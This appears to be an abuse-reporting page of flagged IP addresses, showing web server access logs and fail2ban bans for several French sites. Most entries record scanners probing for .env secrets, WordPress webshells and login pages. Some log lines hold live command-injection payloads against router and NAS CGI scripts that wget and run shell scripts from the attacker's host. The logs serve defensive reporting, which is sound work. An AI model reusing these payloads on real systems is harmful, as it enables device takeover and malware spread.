|
🇫🇷
217.113.194.251
|
|
217.113.194.251 bertrand.belguise.net - [10/Feb/2026:08:49:43 +0100] "GET /blog/?p=484 HTTP/1.1" 200 ...
show more
217.113.194.251 bertrand.belguise.net - [10/Feb/2026:08:49:43 +0100] "GET /blog/?p=484 HTTP/1.1" 200 63554 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)"
2026-02-10 08:49:44,744 fail2ban.actions [506]: NOTICE [salebot] Ban 217.113.194.251
2026-02-10 13:35:07,956 fail2ban.actions [506]: NOTICE [salebot] Ban 217.113.194.251
217.113.194.251 bertrand.belguise.net - [10/Feb/2026:13:35:07 +0100] "GET /blog/page/3/?p=9 HTTP/1.1" 200 64166 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)"
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇫🇷
154.54.249.213
|
|
154.54.249.213 bertrand.belguise.net - [10/Feb/2026:05:58:30 +0100] "GET /blog/?p=73 HTTP/1.1" 200 6 ...
show more
154.54.249.213 bertrand.belguise.net - [10/Feb/2026:05:58:30 +0100] "GET /blog/?p=73 HTTP/1.1" 200 63553 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)"
154.54.249.213 bertrand.belguise.net - [10/Feb/2026:12:55:43 +0100] "GET /blog/page/3/?p=14 HTTP/1.1" 200 64168 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)"
2026-02-10 05:58:31,373 fail2ban.actions [506]: NOTICE [salebot] Ban 154.54.249.213
2026-02-10 12:55:44,201 fail2ban.actions [506]: NOTICE [salebot] Ban 154.54.249.213
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇫🇷
217.113.194.189
|
|
217.113.194.189 belguise.net - [10/Feb/2026:05:15:11 +0100] "GET /trac/olgatools/changelog HTTP/1.1" ...
show more
217.113.194.189 belguise.net - [10/Feb/2026:05:15:11 +0100] "GET /trac/olgatools/changelog HTTP/1.1" 200 2640 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)"
217.113.194.189 bertrand.belguise.net - [10/Feb/2026:11:00:02 +0100] "GET /blog/?p=476 HTTP/1.1" 200 63554 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)"
2026-02-10 05:15:12,043 fail2ban.actions [506]: NOTICE [salebot] Ban 217.113.194.189
2026-02-10 11:00:05,911 fail2ban.actions [506]: NOTICE [salebot] Ban 217.113.194.189
2026-02-10 11:00:05,911 fail2ban.actions [506]: NOTICE [salebot] Ban 217.113.194.189
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇫🇷
217.113.194.184
|
|
2026-02-10 08:49:56,848 fail2ban.actions [506]: NOTICE [salebot] Ban 217.113.194.184
217.113 ...
show more
2026-02-10 08:49:56,848 fail2ban.actions [506]: NOTICE [salebot] Ban 217.113.194.184
217.113.194.184 bertrand.belguise.net - [10/Feb/2026:08:49:56 +0100] "GET /blog/?p=140 HTTP/1.1" 200 63554 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)"
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇫🇷
217.113.194.187
|
|
217.113.194.187 bertrand.belguise.net - [10/Feb/2026:05:58:54 +0100] "GET /blog/archives/ HTTP/1.1" ...
show more
217.113.194.187 bertrand.belguise.net - [10/Feb/2026:05:58:54 +0100] "GET /blog/archives/ HTTP/1.1" 200 36697 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)"
2026-02-10 05:58:55,591 fail2ban.actions [506]: NOTICE [salebot] Ban 217.113.194.187
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇫🇷
217.113.194.188
|
|
217.113.194.188 bertrand.belguise.net - [10/Feb/2026:05:15:01 +0100] "GET /blog HTTP/1.1" 301 0 "-" ...
show more
217.113.194.188 bertrand.belguise.net - [10/Feb/2026:05:15:01 +0100] "GET /blog HTTP/1.1" 301 0 "-" "Mozilla/5.0 (compatible; Barkrowler/0.9; +https://babbar.tech/crawler)"
2026-02-10 05:15:02,716 fail2ban.actions [506]: NOTICE [salebot] Ban 217.113.194.188
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇨🇦
66.70.250.122
|
|
66.70.250.122 137.74.47.15 - [04/Feb/2026:14:25:01 +0100] "GET /.env HTTP/1.1" 403 341 "-" "Mozilla/ ...
show more
66.70.250.122 137.74.47.15 - [04/Feb/2026:14:25:01 +0100] "GET /.env HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30"
66.70.250.122 137.74.47.15 - [04/Feb/2026:14:25:01 +0100] "POST / HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30"
66.70.250.122 137.74.47.15 - [04/Feb/2026:14:25:02 +0100] "GET /.env HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30"
66.70.250.122 137.74.47.15 - [04/Feb/2026:14:25:02 +0100] "POST / HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇦🇺
20.213.25.204
|
|
20.213.25.204 epice.eu - [03/Feb/2026:15:13:20 +0100] "GET /rip.php HTTP/1.1" 404 341 "-" "Mozilla/5 ...
show more
20.213.25.204 epice.eu - [03/Feb/2026:15:13:20 +0100] "GET /rip.php HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
20.213.25.204 epice.eu - [03/Feb/2026:15:13:20 +0100] "GET /about.php HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
20.213.25.204 epice.eu - [03/Feb/2026:15:13:20 +0100] "GET /wp-content/plugins/hello-dolly/ HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
20.213.25.204 epice.eu - [03/Feb/2026:15:13:21 +0100] "GET /wp-content/themes/admin.php HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
20.213.25.204 epice.eu - [03/Feb/2026:15:13:21 +0100] "GET /admin.php HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) App
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇦🇺
4.197.167.136
|
|
4.197.167.136 bertrand.belguise.net - [14/Jan/2026:21:53:49 +0100] "GET /wp-content/plugins/hellopre ...
show more
4.197.167.136 bertrand.belguise.net - [14/Jan/2026:21:53:49 +0100] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 404 341 "-" "-"
4.197.167.136 bertrand.belguise.net - [14/Jan/2026:21:53:49 +0100] "GET //wp-includes/ID3/index.php HTTP/1.1" 404 341 "-" "-"
4.197.167.136 bertrand.belguise.net - [14/Jan/2026:21:53:50 +0100] "GET /update/bibil.php HTTP/1.1" 404 341 "-" "-"
4.197.167.136 bertrand.belguise.net - [14/Jan/2026:21:53:50 +0100] "GET /wp-conf.php HTTP/1.1" 404 341 "-" "-"
4.197.167.136 bertrand.belguise.net - [14/Jan/2026:21:53:50 +0100] "GET /test/wop.php HTTP/1.1" 404 341 "-" "-"
4.197.167.136 15.ip-137-74-47.eu - [22/Jan/2026:09:53:00 +0100] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 403 341 "-" "-"
4.197.167.136 15.ip-137-74-47.eu - [22/Jan/2026:09:53:00 +0100] "GET /class.php HTTP/1.1" 403 341 "-" "-"
4.197.167.136 15.ip-137-74-47.eu - [22/Jan/2026:09:53:00 +0100] "GET /lm13.php HTTP/1.1" 403 341 "-" "-"
4.197.167.136 15.ip-137-74-47.e
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇭🇰
20.205.96.233
|
|
20.205.96.233 cyberolga.belguise.net - [14/Jan/2026:04:13:42 +0100] "GET /wp-content/plugins/hellopr ...
show more
20.205.96.233 cyberolga.belguise.net - [14/Jan/2026:04:13:42 +0100] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 404 341 "-" "-"
20.205.96.233 cyberolga.belguise.net - [14/Jan/2026:04:13:42 +0100] "GET //wp-includes/ID3/index.php HTTP/1.1" 404 341 "-" "-"
20.205.96.233 cyberolga.belguise.net - [14/Jan/2026:04:13:42 +0100] "GET /update/bibil.php HTTP/1.1" 404 37378 "-" "-"
20.205.96.233 cyberolga.belguise.net - [14/Jan/2026:04:13:42 +0100] "GET /wp-conf.php HTTP/1.1" 404 341 "-" "-"
20.205.96.233 cyberolga.belguise.net - [14/Jan/2026:04:13:42 +0100] "GET /test/wop.php HTTP/1.1" 404 37402 "-" "-"
20.205.96.233 belguise.net - [16/Jan/2026:22:22:21 +0100] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 404 341 "-" "-"
20.205.96.233 belguise.net - [16/Jan/2026:22:22:21 +0100] "GET //wp-includes/ID3/index.php HTTP/1.1" 404 341 "-" "-"
20.205.96.233 belguise.net - [16/Jan/2026:22:22:21 +0100] "GET /update/bibil.php HTTP/1.1" 404 341 "-" "-"
20.205.96.233 b
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
91.92.243.239
|
|
91.92.243.239 cyberolga.belguise.net - [21/Jan/2026:23:08:30 +0100] "POST /wp-login.php HTTP/1.1" 20 ...
show more
91.92.243.239 cyberolga.belguise.net - [21/Jan/2026:23:08:30 +0100] "POST /wp-login.php HTTP/1.1" 200 9394 "-" "Mozilla/5.0"
91.92.243.239 cyberolga.belguise.net - [21/Jan/2026:23:19:41 +0100] "POST /wp-login.php HTTP/1.1" 200 9394 "-" "Mozilla/5.0"
91.92.243.239 cyberolga.belguise.net - [21/Jan/2026:23:32:16 +0100] "POST /wp-login.php HTTP/1.1" 200 9394 "-" "Mozilla/5.0"
91.92.243.239 cyberolga.belguise.net - [22/Jan/2026:23:39:21 +0100] "POST /wp-login.php HTTP/1.1" 200 9394 "-" "Mozilla/5.0"
91.92.243.239 cyberolga.belguise.net - [22/Jan/2026:23:55:27 +0100] "POST /wp-login.php HTTP/1.1" 200 9394 "-" "Mozilla/5.0"
91.92.243.239 cyberolga.belguise.net - [25/Jan/2026:00:01:05 +0100] "POST /wp-login.php HTTP/1.1" 200 9394 "-" "Mozilla/5.0"
91.92.243.239 cyberolga.belguise.net - [29/Jan/2026:00:05:32 +0100] "POST /wp-login.php HTTP/1.1" 200 9394 "-" "Mozilla/5.0"
2026-01-21 23:32:17,055 fail2ban.actions [506]: NOTICE [lighttpd-wp-login] Ban 91.92.243.239
2026-01-22 23:55:28,003
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇬🇧
78.153.140.177
|
|
78.153.140.177 137.74.47.15 - [27/Jan/2026:16:17:28 +0100] "GET /.env HTTP/1.1" 403 341 "-" "Mozilla ...
show more
78.153.140.177 137.74.47.15 - [27/Jan/2026:16:17:28 +0100] "GET /.env HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36 OPR/27.0.1689.69 (Edition Campaign 46)"
78.153.140.177 137.74.47.15 - [27/Jan/2026:16:17:28 +0100] "GET /aws/local.bak HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11"
78.153.140.177 137.74.47.15 - [27/Jan/2026:16:17:28 +0100] "GET /prod/.env.dev HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_4; en-us) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.2 Safari/525.20.1"
78.153.140.177 137.74.47.15 - [27/Jan/2026:16:17:28 +0100] "GET /test/.env.uat HTTP/1.1" 403 341 "-" "Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.9.1) Gecko/20090703 Firefox/3.5"
78.153.140.177 137.74.47.15 - [27/Jan/2026:16:17:28 +0100] "GET /tmp/.env.save HTTP/1.1" 403 341 "-" "Mozilla/4.0 (compatible; MSIE 8.0;
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇫🇷
185.177.72.10
|
|
185.177.72.10 api.epice.eu - [14/Jan/2026:07:51:30 +0100] "HEAD / HTTP/1.1" 403 0 "-" "Mozilla/5.0 ( ...
show more
185.177.72.10 api.epice.eu - [14/Jan/2026:07:51:30 +0100] "HEAD / HTTP/1.1" 403 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.10 api.epice.eu - [14/Jan/2026:07:51:36 +0100] "GET /.env.development HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.10 api.epice.eu - [14/Jan/2026:07:51:36 +0100] "GET /.env.development HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.10 api.epice.eu - [14/Jan/2026:07:51:38 +0100] "GET /.env.old HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.10 vps.epice.eu - [15/Jan/2026:17:30:24 +0100] "GET /.env.staging HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.10 vps.epice.eu - [15/Jan/2026:17:30:24 +0100] "GET /.env.local.bak HTTP/1.1" 404 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.10 vps.epice.eu - [15/Ja
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
87.121.84.51
|
|
87.121.84.51 137.74.47.15 - [13/Jan/2026:07:35:54 +0100] "GET / HTTP/1.0" 403 341 "-" "Mozilla/5.0 ( ...
show more
87.121.84.51 137.74.47.15 - [13/Jan/2026:07:35:54 +0100] "GET / HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.51 137.74.47.15 - [13/Jan/2026:07:35:55 +0100] "POST /cgi-bin/cstecgi.cgi HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.51 137.74.47.15 - [13/Jan/2026:07:35:55 +0100] "GET /cgi-bin/downloadFlile.cgi?payload=;cd${IFS}/var/tmp;wget${IFS}http://87.121.84.51/router.totolink2.sh;sh${IFS}router.totolink2.sh; HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.51 137.74.47.15 - [13/Jan/2026:07:35:56 +0100] "GET /cgi-bin/cstecgi.cgi?action=exportOvpn&type=user&user=test;cd${IFS}/var/tmp;wget${IFS}http://87.121.84.51/router.totolink3.sh;sh${IFS}router.totolink3.sh; HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.51 137.74.47.15 - [13/Jan/2026:07:35:56 +0100] "GET
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇩🇪
103.252.89.75
|
|
103.252.89.75 137.74.47.15 - [08/Nov/2025:13:06:13 +0100] "GET / HTTP/1.1" 403 341 "-" "-"
103.252.8 ...
show more
103.252.89.75 137.74.47.15 - [08/Nov/2025:13:06:13 +0100] "GET / HTTP/1.1" 403 341 "-" "-"
103.252.89.75 137.74.47.15 - [08/Nov/2025:13:06:13 +0100] "GET /set_safety.shtml?r=52300 HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
103.252.89.75 137.74.47.15 - [08/Nov/2025:17:54:11 +0100] "GET / HTTP/1.1" 403 341 "-" "-"
103.252.89.75 137.74.47.15 - [08/Nov/2025:17:54:11 +0100] "GET /set_safety.shtml?r=52300 HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
103.252.89.75 137.74.47.15 - [08/Nov/2025:17:54:11 +0100] "GET /set_safety.shtml?r=52300 HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
103.252.89.75 137.74.47.15 - [08/Nov/2025:17:54:17 +0100] "GET /sysinit.shtml HTTP/1.1" 403 341
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
176.65.148.247
|
|
176.65.148.247 137.74.47.15 - [16/Jan/2026:14:07:08 +0100] "GET / HTTP/1.1" 403 341 "-" "-"
176.65.1 ...
show more
176.65.148.247 137.74.47.15 - [16/Jan/2026:14:07:08 +0100] "GET / HTTP/1.1" 403 341 "-" "-"
176.65.148.247 137.74.47.15 - [16/Jan/2026:14:07:08 +0100] "GET /set_safety.shtml?r=52300 HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
176.65.148.247 137.74.47.15 - [16/Jan/2026:14:07:14 +0100] "GET /sysinit.shtml HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
176.65.148.247 137.74.47.15 - [16/Jan/2026:14:36:18 +0100] "GET / HTTP/1.1" 403 341 "-" "-"
176.65.148.247 137.74.47.15 - [16/Jan/2026:14:36:18 +0100] "GET /set_safety.shtml?r=52300 HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246"
176.65.148.247 137.74.47.15 - [21/Jan/2026:01:24:18 +0100] "GET / HTTP/1.1" 403 341 "-" "-"
176.65.14
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇫🇷
185.177.72.12
|
|
185.177.72.12 dev.belguise.net - [10/Jan/2026:01:19:29 +0100] "HEAD / HTTP/1.1" 403 0 "-" "Mozilla/5 ...
show more
185.177.72.12 dev.belguise.net - [10/Jan/2026:01:19:29 +0100] "HEAD / HTTP/1.1" 403 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.12 admin.belguise.net - [10/Jan/2026:01:19:29 +0100] "HEAD / HTTP/1.1" 403 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.12 dev.belguise.net - [10/Jan/2026:01:19:29 +0100] "GET /.env HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.12 staging.belguise.net - [10/Jan/2026:01:19:31 +0100] "GET / HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.12 test.belguise.net - [10/Jan/2026:01:19:31 +0100] "GET / HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.12 admin.epice.eu - [10/Jan/2026:18:31:02 +0100] "HEAD / HTTP/1.1" 403 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
185.177.72.12 dev.epice.eu - [10/Jan/2026:18:31:02 +0100] "HEAD / HTTP
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
2.58.56.122
|
|
2.58.56.122 137.74.47.15 - [02/Jan/2026:13:00:49 +0100] "POST /.env HTTP/1.1" 403 341 "-" "Mozilla/5 ...
show more
2.58.56.122 137.74.47.15 - [02/Jan/2026:13:00:49 +0100] "POST /.env HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30"
2.58.56.122 137.74.47.15 - [02/Jan/2026:13:00:57 +0100] "POST /.env.backup HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30"
2.58.56.122 137.74.47.15 - [02/Jan/2026:13:01:04 +0100] "POST /.env.local HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30"
2.58.56.122 137.74.47.15 - [02/Jan/2026:13:01:16 +0100] "GET /.env.production HTTP/1.1" 403 341 "-" "Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTM
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇮🇪
52.169.206.229
|
|
52.169.206.229 epice.eu - [26/Nov/2025:14:01:47 +0100] "GET /wp-content/plugins/hellopress/wp_filema ...
show more
52.169.206.229 epice.eu - [26/Nov/2025:14:01:47 +0100] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 404 341 "-" "-"
52.169.206.229 vps.epice.eu - [27/Dec/2025:19:30:49 +0100] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 404 341 "-" "-"
52.169.206.229 vps.epice.eu - [04/Jan/2026:14:56:12 +0100] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 404 341 "-" "-"
2025-12-27 19:30:49,455 fail2ban.actions [562]: NOTICE [lighttpd-404] Ban 52.169.206.229
2026-01-04 14:56:13,084 fail2ban.actions [562]: NOTICE [lighttpd-404] Ban 52.169.206.229
2026-01-04 14:56:13,084 fail2ban.actions [562]: NOTICE [lighttpd-404] Ban 52.169.206.229
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
87.121.84.181
|
|
87.121.84.181 137.74.47.15 - [12/Dec/2025:23:49:42 +0100] "GET / HTTP/1.0" 403 341 "-" "Mozilla/5.0 ...
show more
87.121.84.181 137.74.47.15 - [12/Dec/2025:23:49:42 +0100] "GET / HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.181 137.74.47.15 - [12/Dec/2025:23:49:42 +0100] "POST /cgi-bin/cstecgi.cgi HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.181 137.74.47.15 - [12/Dec/2025:23:49:42 +0100] "GET /cgi-bin/downloadFlile.cgi?payload=;cd${IFS}/var/tmp;wget${IFS}http://87.121.84.181/router.totolink2.sh;sh${IFS}router.totolink2.sh; HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.181 137.74.47.15 - [12/Dec/2025:23:49:42 +0100] "GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=d2dldAlodHRwOi8vODcuMTIxLjg0LjE4MS9uYXMuZGxpbmsuc2gJLU8tfHNo HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
87.121.84.181 137.74.47.15 - [12/Dec/2025:23:49:42 +0100] "GET /cgi-bin/account_mgr.cgi
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
216.73.216.142
|
|
216.73.216.142 cyberolga.belguise.net - [20/Dec/2025:08:58:56 +0100] "GET /wp-sitemap.xml HTTP/2.0" ...
show more
216.73.216.142 cyberolga.belguise.net - [20/Dec/2025:08:58:56 +0100] "GET /wp-sitemap.xml HTTP/2.0" 404 341 "https://cyberolga.belguise.net/sitemap.xml" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])"
216.73.216.142 cyberolga.belguise.net - [20/Dec/2025:09:20:18 +0100] "GET /wp-sitemap.xml HTTP/2.0" 404 341 "https://cyberolga.belguise.net/sitemap.xml" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])"
216.73.216.142 cyberolga.belguise.net - [20/Dec/2025:09:37:07 +0100] "GET /wp-sitemap.xml HTTP/2.0" 404 341 "https://cyberolga.belguise.net/sitemap.xml" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; [email protected])"
216.73.216.142 cyberolga.belguise.net - [20/Dec/2025:09:47:04 +0100] "GET /wp-sitemap.xml HTTP/2.0" 404 341 "https://cyberolga.belguise.net/sitemap.xml" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
45.148.10.246
|
|
45.148.10.246 belguise.net - [24/Nov/2025:01:28:08 +0100] "HEAD /index.html HTTP/1.1" 404 0 "-" "Go- ...
show more
45.148.10.246 belguise.net - [24/Nov/2025:01:28:08 +0100] "HEAD /index.html HTTP/1.1" 404 0 "-" "Go-http-client/1.1"
45.148.10.246 belguise.net - [24/Nov/2025:01:28:08 +0100] "GET /.env HTTP/1.1" 404 341 "-" "Go-http-client/1.1"
45.148.10.246 belguise.net - [24/Nov/2025:01:28:08 +0100] "GET /.env/ HTTP/1.1" 404 341 "-" "Go-http-client/1.1"
45.148.10.246 belguise.net - [24/Nov/2025:01:28:08 +0100] "GET /.env.local HTTP/1.1" 404 341 "-" "Go-http-client/1.1"
45.148.10.246 belguise.net - [24/Nov/2025:01:28:09 +0100] "GET /.env.local/ HTTP/1.1" 404 341 "-" "Go-http-client/1.1"
45.148.10.246 cyberolga.belguise.net - [25/Nov/2025:04:48:43 +0100] "GET /.env HTTP/1.1" 404 33053 "-" "Go-http-client/1.1"
45.148.10.246 cyberolga.belguise.net - [25/Nov/2025:04:48:43 +0100] "GET /.env HTTP/1.1" 404 33263 "http://cyberolga.belguise.net//.env" "Go-http-client/1.1"
45.148.10.246 cyberolga.belguise.net - [25/Nov/2025:04:48:43 +0100] "GET /./.env HTTP/1.1" 404 33010 "-" "Go-http-client/1.1"
45.148.10.246
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇳🇱
176.65.148.246
|
|
176.65.148.246 137.74.47.15 - [23/Nov/2025:18:23:35 +0100] "GET / HTTP/1.0" 403 341 "-" "Mozilla/5.0 ...
show more
176.65.148.246 137.74.47.15 - [23/Nov/2025:18:23:35 +0100] "GET / HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
176.65.148.246 137.74.47.15 - [23/Nov/2025:18:23:35 +0100] "POST /cgi-bin/cstecgi.cgi HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
176.65.148.246 137.74.47.15 - [23/Nov/2025:18:23:35 +0100] "GET /cgi-bin/downloadFlile.cgi?payload=;cd${IFS}/var/tmp;wget${IFS}http://176.65.148.246/router.totolink2.sh;sh${IFS}router.totolink2.sh;rm${IFS}router.totolink2.sh; HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
176.65.148.246 137.74.47.15 - [23/Nov/2025:18:23:35 +0100] "GET /cgi-bin/nas_sharing.cgi?user=messagebus&passwd=&cmd=15&system=d2dldAlodHRwOi8vMTc2LjY1LjE0OC4yNDYvbmFzLmRsaW5rLnNoCS1PLXxzaA== HTTP/1.0" 403 341 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0"
176.65.148.246 137.74.47.15 - [23/Nov/2025:18:23:3
...
show less
|
Bad Web Bot
Web App Attack
|
|
🇺🇸
208.84.101.102
|
|
208.84.101.102 epice.eu - [18/Nov/2025:08:28:19 +0100] "GET /wp-includes/wlwmanifest.xml HTTP/1.1" 4 ...
show more
